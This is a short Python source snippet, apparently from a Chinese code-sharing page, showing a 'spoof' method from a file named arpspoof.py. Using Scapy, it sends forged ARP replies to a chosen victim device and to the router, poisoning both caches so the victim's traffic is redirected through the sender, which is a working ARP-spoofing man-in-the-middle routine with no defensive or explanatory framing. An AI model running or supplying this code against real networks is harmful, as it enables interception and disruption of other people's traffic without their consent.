def spoof(self, index):
try:
victimIP = self._devices[index][0]
victimMAC = self._devices[index][1]
send(ARP(op=2, pdst=victimIP, psrc=self._router_ip,
hwdst=victimMAC), iface=self._interface, verbose=False)
send(ARP(op=2, pdst=self._router_ip, psrc=victimIP,
hwdst=self._router_mac), iface=self._interface, verbose=False)
except:
_LOGGER.error("Error when trying to spoof device IP: %s MAC: %s",
victimIP, victimMAC)
arpspoof.py 文件源码
python
阅读 20
收藏 0
点赞 0
评论 0
评论列表
文章目录